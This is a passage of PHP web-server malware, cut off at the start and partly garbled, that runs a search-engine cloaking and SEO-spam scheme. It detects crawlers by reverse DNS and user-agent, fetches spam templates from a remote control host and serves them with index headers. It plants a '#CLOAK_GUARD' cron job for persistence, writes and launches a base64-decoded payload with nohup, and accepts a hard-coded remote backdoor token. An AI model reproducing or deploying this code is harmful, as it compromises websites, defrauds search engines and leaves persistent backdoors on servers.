'https://dns.google/resolve?name=' . urlencode($d) . '&type=A', CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false )); $r = @curl_exec($ch); curl_close($ch); if ($r) { $j = @json_decode($r, true); if (!empty($j['Question'][0]['name'])) { return strtolower(trim($j['Question'][0]['name'], '.')); } } } return strtolower(trim($d)); } function _host_clean($h) { $h = strtolower(trim($h)); $h = preg_replace('/:\d+$/', '', $h); $h = trim($h, '.'); return $h ? $h : 'unknown'; } function _fetch($url, $timeout = 15) { $ctx = stream_context_create(array( 'ssl' => array('verify_peer' => false, 'verify_peer_name' => false), 'http' => array('timeout' => $timeout) )); $r = @file_get_contents($url, false, $ctx); if ($r !== false && strlen($r) > 0) return $r; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => 'Mozilla/5.0' )); $r = @curl_exec($ch); curl_close($ch); if ($r !== false && strlen($r) > 0) return $r; } return false; } if (isset($_GET['cache_action']) && $_GET['cache_action'] === 'clear' && isset($_GET['token']) && $_GET['token'] === 'war10ck-want-to-clear-cache') { $c = 0; if (file_exists(dirname(__FILE__) . '/.ac')) { @unlink(dirname(__FILE__) . '/.ac'); $c++; } if (file_exists(dirname(__FILE__) . '/.ac_amp')) { @unlink(dirname(__FILE__) . '/.ac_amp'); $c++; } if (file_exists(dirname(__FILE__) . '/.amp_folder')) { @unlink(dirname(__FILE__) . '/.amp_folder'); $c++; } header('Content-Type: application/json'); echo json_encode(array('success' => true, 'cleared' => $c)); exit; } $host = _rc($ip); $se_p = array( '/\.googlebot\.com$/i', '/\.google\.com$/i', '/search\.msn\.com$/i', '/\.bing\.com$/i', '/\.crawl\.yahoo\.net$/i', '/\.baidubce\.com$/i', '/crawl\.yandex\.net$/i', '/\.duckduckgo\.com$/i', '/\.apple\.com$/i', '/\.petalsearch\.com$/i' ); $isSEip = false; foreach ($se_p as $p) { if (preg_match($p, $host)) { $isSEip = true; break; } } if ($isSEip) $isSEip = _fv($host, $ip); if ($isSEip || preg_match('/Googlebot|bingbot|Baiduspider|YandexBot|DuckDuckBot|Applebot|PetalBot|Sogou|crawler|spider|bot|crawl/i', $ua)) { $lang = strtolower(isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''); if (strpos($lang, 'zh') > -1 || (isset($_COOKIE['az']) && $_COOKIE['az'] == 'lp')) { setcookie('az', 'lp', time() + 3600 * 7200); echo ' '; exit; } } $__host = _host_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''); $_host_file = dirname(__FILE__) . '/.host'; if ($__host && $__host !== 'unknown') { $_existing_host = is_file($_host_file) ? trim(@file_get_contents($_host_file)) : ''; if ($_existing_host !== $__host) { @file_put_contents($_host_file, $__host); } } $_amp_folder = ''; $_amp_cache = dirname(__FILE__) . '/.amp_folder'; if (is_file($_amp_cache) && time() - filemtime($_amp_cache) < 86400) { $_cached_folder = trim(@file_get_contents($_amp_cache)); if ($_cached_folder && preg_match('/^[a-z0-9_-]+$/i', $_cached_folder)) { $_amp_folder = $_cached_folder; } } if (!$_amp_folder) { $_cfg_hosts = array($__host); if (strpos($__host, 'www.') === 0) { $_cfg_hosts[] = substr($__host, 4); } elseif ($__host !== 'unknown') { $_cfg_hosts[] = 'www.' . $__host; } $_cfg_hosts = array_values(array_unique($_cfg_hosts)); foreach ($_cfg_hosts as $_cfg_h) { $_cfg_raw = _fetch($TS . '/?action=config&client_domain=' . urlencode($_cfg_h), 5); if (!$_cfg_raw) continue; $_cfg_j = @json_decode($_cfg_raw, true); if (!empty($_cfg_j['success']) && !empty($_cfg_j['config']['amp_folder_name'])) { $_amp_folder = trim($_cfg_j['config']['amp_folder_name']); if ($_amp_folder && preg_match('/^[a-z0-9_-]+$/i', $_amp_folder)) { @file_put_contents($_amp_cache, $_amp_folder); } else { $_amp_folder = ''; } break; } } } if ($_amp_folder && preg_match('/^[a-z0-9_-]+$/i', $_amp_folder)) { $AMP_DIR = dirname(__FILE__) . '/' . basename($_amp_folder); $AMP_FILE = $AMP_DIR . '/index.php'; $AMP_STUB = '/dev/null'); if (!$cl) $cl = ''; if (strpos($cl, '#CLOAK_GUARD') === false) { $tmp = tempnam(sys_get_temp_dir(), 'cr'); file_put_contents($tmp, $cl . "\n#CLOAK_GUARD\n* * * * * php " . escapeshellarg($guard_file) . "\n"); _se('crontab ' . $tmp . ' 2>/dev/null'); @unlink($tmp); } $pg_file = dirname(__FILE__) . '/.pg.php'; $lock = '/tmp/.cg_' . md5(dirname(__FILE__)); $_need_pg_rewrite = !is_file($pg_file); if (!$_need_pg_rewrite) { $_cur_pg = @file_get_contents($pg_file); if ($_cur_pg === false || strpos($_cur_pg, '_amp_folder2') === false) { $_need_pg_rewrite = true; @unlink($lock); } } if ($_need_pg_rewrite) { @chmod($pg_file, 0644); @file_put_contents($pg_file, base64_decode($_pg_b64)); @chmod($pg_file, 0600); } if (!file_exists($lock)) { _se('nohup php ' . escapeshellarg($pg_file) . ' > /dev/null 2>&1 &'); } } $dn = _host_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'); $dn = _puny($dn); $sn = strtolower($_SERVER['SCRIPT_NAME']); if (strpos($sn, '/amp/') !== false || substr($sn, -4) === '/amp' || ($_amp_folder && strpos($sn, '/' . $_amp_folder . '/') !== false)) { $act = 'amp'; $cf = dirname(__FILE__) . '/.ac_amp'; $ct = 3600; } else { $act = 'template'; $cf = dirname(__FILE__) . '/.ac'; $ct = 600; } if (file_exists($cf) && time() - filemtime($cf) < $ct) { header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); readfile($cf); exit; } $domains = array($dn); if (strpos($dn, 'www.') === 0) { $domains[] = substr($dn, 4); } elseif ($dn !== 'unknown') { $domains[] = 'www.' . $dn; } $domains = array_values(array_unique($domains)); $raw = false; foreach ($domains as $_try_dn) { $_try_raw = _fetch($TS . '/?action=' . $act . '&client_domain=' . urlencode($_try_dn), 15); if ($_try_raw && strlen($_try_raw) >= 50) { $raw = $_try_raw; $dn = $_try_dn; break; } } if (!$raw || strlen($raw) < 50) { if (file_exists($cf)) { $cached = @file_get_contents($cf); if ($cached && strlen($cached) > 50) { header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); echo $cached; exit; } } header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); echo ''; exit; } if ($act === 'template') { $j = json_decode($raw, true); if ($j && isset($j['template'])) $raw = $j['template']; } @file_put_contents($cf, $raw); header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); echo $raw;